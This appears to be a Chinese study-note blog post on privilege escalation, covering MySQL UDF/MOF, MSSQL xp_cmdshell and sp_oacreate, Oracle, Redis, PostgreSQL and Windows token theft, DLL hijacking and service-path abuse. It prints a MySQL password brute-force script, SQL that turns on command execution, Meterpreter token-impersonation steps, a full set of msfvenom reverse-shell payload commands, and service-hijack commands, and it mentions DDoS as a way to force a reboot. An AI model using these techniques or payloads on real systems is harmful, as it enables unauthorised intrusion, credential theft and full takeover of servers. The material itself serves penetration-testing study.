目录
MY&MS&ORA等SQL数据库提权
数据库提权
探针
收集
分类
MySQL数据库提权(具体看XD老师的课程,这里只记录知识点)
UDF提权(基于MYSQL调用命令执行函数)
MOF知识点(基于mysql特性的安全问题)
启动项知识点(基于配合OS自启动)
反弹知识点(基于利用反弹特性命令执行)
MSSQL数据库提权
使用xp_cmdshell进行提权
使用sp_oacreate提权
使用SQL server沙盒提权
Oracle数据库提权
普通用户模式
DBA用户模式(自动化工具演示)
注入提升模式:(sqlmap测试演示)
Redis数据库提权
Postgresql
Windows2008&7令牌窃取提升权限
Windows2003&10进程注入提升-本地
核心:获得数据库的账号和密码,可以在web和本地都尝试
背景:在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,但是需要知道数据库的提权的条件:服务器开启数据库服务以及获得最高的数据库权限的账号和密码,除了Access数据库意外,其他的数据库基本都存在数据库提权的可能。
包括着端口、服务、其他,判断是否存在着数据库服务。
收集数据库的最高权限密码、账号,可以通过配置文件、存储文件、暴力破解以及其他的方式。
其中根据数据库的不同,提权的方式也不相同,具体如下:
MySQL:
UDF提权
MOF提权
启动项
反弹shell
MSSQL:
xp_cmdshell
sp_oacreate
sp_oamethod
沙盒模式
映像劫持
Oracle
普通用户
DBA用户
注入模式
......
环境为阿里云(PHP+MYSQL环境)
流程:服务探针->信息收集->提权利用->获取权限
读取常见的网站数据库配置文件(需要了解其命名规则以及查找的技巧):常见的配置文件关键字为sql data inc config conn database common include等等。
读取数据库存储或者备份文件(了解其数据库存储格式以及对应内容)
mysql数据库的密码存储在mysql数据库中。(select * from mysql_user;)
如果想要获取这个文件,可以下载该文件,在.MYD文件中寻找
mysql中的data文件夹中的mysql文件夹的user.MYD.
还可以通过在线的脚本进行爆破(此时数据是需要支持外联的),提供一个大佬写的脚本。
Mysql账号密码在线爆破工具
Mysql账号密码在线爆破工具 V2.0
-----------------------爆破状态-----------------------
";
for ($l=0; $l <= count($password); $l++) {
$password1 = trim($password[$l]); //除去左右空白
if(@mysql_connect($host, $username, $password1)){
echo "";
echo "
爆破成功--密码-->".@$password1."";
break;
}else{
continue;
}
}
echo "
----------------------爆破结束-----------------------
";
}else{
echo "";
}
}
?>
保存为Completion.php文件,将密码字典放置同目录下为pwd.txt文件。
原文链接:https://blog.csdn.net/weixin_49150931/article/details/123026142
之后利用自定义执行函数导出dll文件进行命令执行
手工创建plugin目录或者利用NTFS流创建
select 'x' into dumpfile '目录/lib/plugin::INDEX_ALLOCATION';
注意:
mysql的版本 < 5.1 导出目录为c:/windows或system32
mysql的版本 >= 5.1 导出安装目录/lib/plugin/
导出自定义MOF文件到系统目录加载,具体看大佬的文章mof提权原理及其过程 - 珍惜少年时 - 博客园
导出自定义可执行文件到启动目录配合重启执行,将创建好的后门或执行文件进行服务器启动项写入,配合重启执行。
mysql操作开启外联,然后利用MSF的exploit/mysql/mysql_start_up。
如何让对方的服务器重启?XD老师说了一种方法就是DDOS攻击,使得对方服务器重启。(真刑)
如:nc -l -p 5566
流程:服务探针->信息收集->提权利用->获取权限
xp_cmdshell(数据库-系统数据库-mater-可编程性-系统扩展存储过程)默认在mssql2000中是开启的,在mssql2005之后的版本中则是默认禁止的,如果用户拥有管理员sa权限则可以用sp_congifgure重新开启它
启用:
EXEC sp_configure 'show advanced options',1 ;
Reconfigure;
EXEC sp_configure 'xp_cmdshell',1;
关闭;
EXEC sp_configure 'show advanced options',1;
reconfigure;
exec sp_config 'xp_cmdshell',0;
reconfigure;
执行;
exec master.dbo.xp_cmdshell '命令'
如果xp_cmdshell被删除了,可以上传xplog70.dll恢复
exec master.sys.sp_addextendeproc 'xp_cmdshell','c:\Program
Files\Microsoft SQL server\MSSQL\Binn\xplog70.dll'
主要用来调用OLE对象,利用OLE对象的run方法执行系统命令。
启用:
EXEC sp_configure 'show advanced options' ,1;
Reconfigure with override;
EXEC sp_configure 'Ole Automation Procedures',1;
Reconfigure with override;
关闭:
EXEC sp_configure 'show advanced options' ,1;
Reconfigure with override;
EXEC sp_configure 'Ole Automation Procedures',0;
Reconfigure with override;
执行:
delare @shell int exec sp_oacreate 'wscript.shell',@shell
output exec sp_oamethod @shell ,'run',null,'c:\windows\system32\
cmd.exe /c whoami >c:\\1.exe'
参考文献:SQL Server提权方法汇总(MSSQL)_Margin的技术博客_51CTO博客
exec sp_configure 'show advanced options',1;reconfigure;
不开启的话在执行xp_rewrite会提示需要开启。
前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。
拥有DBA账号密码,可以省去自己动手创建存储的繁琐步骤,一键执行测试。
拥有一个Oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显,要自己验证。
Redis数据库提权的方式有三种,分别如下:
Redis服务因为配置不当,可以被攻击者利用,攻击者借助Redis内置命令,可以将现有的数据而已清空;如果Redis以root身份运行,攻击者可以往服务器上写入ssh公钥,直接登陆服务器。连接(未授权或者有密码)参考文献:https://blog.csdn.net/fly_hps/articls/details/80937837
Postgresql是一种关系型数据库,其中9.3到11版本中存在一处‘特性’,管理员或具有“COPYTO/FROGRAM”权限的用户,可以使用这个特性执行任意命令。
CVE-2018-1058
CVE-2019-9193
之后会尝试复现这两个漏洞(目前在搭建中)参考文献:https://vulhub.org/#/environments/postgres/
高权限就是数据库的名字(Postgresql)
在windows中,每一个进程都是由某一个用户执行的,因此,可以窃取该用户的令牌,进行远程过程调用时请求权限提升,然后调用它从而生成特权安全令牌以执行特权操作。令牌不仅仅用于进程本身,还用于原始请求进程时,漏洞就会出现。
进程注入提权是本地提权方式的一种较为老的安全技术了,利用的是注入进程的所有这实现权限共享机制,这类技术主要利用在Windows2008之前的操作系统上
pexec64 32进程注入工具针对-win2008及后操作系统
RottenPotato(烂土豆)提权的原理可以简单描述为:
烂土豆比热土豆的优点如下:
总之,我对这个的理解是通过中间人攻击,将COM(NT\SYSTEM权限)在第二部挑战应答过程中认证的区块改成自己的区块获取SYSTEM令牌,然后利用msf的模仿令牌功能模仿SYSTEM令牌
必备知识点:
#令牌窃取配合上烂土豆提权
单纯令牌窃取:web权限或本地提权
如配合烂土豆提权:web或者数据库等提权
upload /root/potato.exe C:\Users\Public
cd C:\\Users\\Public
use incognito
list_tokens -u
execute -cH -f ./potato.exe
list_tokens -u
impersonate_token "NT AUTHORITY\\SYSTEM"
大体上的思路就是通过上传的大马,先来执行cmd,查看当前的用户以及权限,使用msf来生成木马。生成木马的命令如下,代码来源于MSF(2)——各种木马的生成及简单的免杀_漫路在线的博客-CSDN博客_msf生成木马
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f elf > shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f exe > shell.exe
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f macho > shell.macho
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f raw > shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f war > shell.war
Bath
msfvenom -p cmd/unix/reverse_bash LHOST=你的IP LPORT=你监听的端口 -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=你的IP LPORT=你监听的端口 -f raw > shell.pl
Python
msfvenom -p python/meterpreter/reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f raw > shell.py
之后通过生成的webshell上传木马,并且执行(在执行之前要先使用msf进行监听),当执行木马的时候,msf便可以监听到会话,上传烂土豆并且执行(执行并非是在web上执行,而是在msf中执行)通过执行potato.exe文件,之后就是通过令牌窃取的方法来实现权限提升。
DLL劫持提权原理:Windows程序启动的时候需要DLL,如果这些DLL不存在,则可以通过在应用程序要查找的位置防止恶意的DLL来提权,通常,Windows应用程序有其预先定义好的搜索DLL路径,它会根据下面的顺序进行搜索。
过程:信息收集(收集服务器上其他的第三方应用程序)-之后就可以尝试下载一个对应的第三方应用程序进行进程调试(主要就是分析这个程序在启动的时候调用了哪一些dll文件)-尝试制作dll木马文件并上传-将原来的dll文件进行替换-启动应用程序后成功拿到权限。
收集到当前的用户是DefaultAppPool,并且在D盘下面发现了存在着flashfxp第三方应用程序。之后就是下载一个 flashfxp应用,通过火绒剑来分析,该应用程序在启动的时候,会调用哪一些dll文件(通过火绒剑的进程调试)
寻找一些非系统文件,使用msf来生成dll木马文件,通过上传dll文件,将原来的dll文件进行替换,替换为我们生成的DLL木马文件,使用msf来监听,当启动该应用程序的时候,便会调用DLL,成功监听到,然后在使用令牌窃取,窃取权限“NT AUTHORITY\SYSTEM”,实现权限提升。
对于DLL提权,需要满足以下的几个条件:
不安全的服务权限配合MSF-本地提权
原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如:可以直接修改它导致重定向执行文件。
过程:检测服务权限配置-制作文件并上传-更改服务器路径指向-调用后成功
accesschk.exe -uwcqv "administrators" *
sc config "NewServiceName" binpath="C:\test.exe"
sc start "NewServiceName"
原理:当windows服务运行时,会发生以下两种情况之一,如果给出了可执行文件,并且引用了完整路径,则系统会按照字面解释它并且执行,但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
过程:检测引号服务路径-利用路径制作文件并上传-启用服务或者是重启-调用后成功提权
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
这个过程就是在检测服务器上是否存在着有问题的服务路径,如果路径没有被引号包括起来,且路径中存在着空格,那么就会出现问题,例如如果运行结果显示有一条是这样的:C:\Program Files\cmd.exe,由于Program和Files之间存在着一个空格,那么运行的服务并不是cmd.exe而是C盘下的Program.exe。
因此我们在寻找存在问题的服务路径的时候,不仅仅需要看有没有带引号,还需要看路径中是否存在着空格,找存在空格的服务路径。所以在这种情况下,我们可以通过msf生成Program.exe的木马文件,上传至C盘下,然后用本地启用服务,通过msf的端口监听,获得会话。
关于Windows提权的相关知识点总结说明,需要掌握提权方法对应层面,提权方法对应的系统版本,相关文件以及后门的免杀问题等。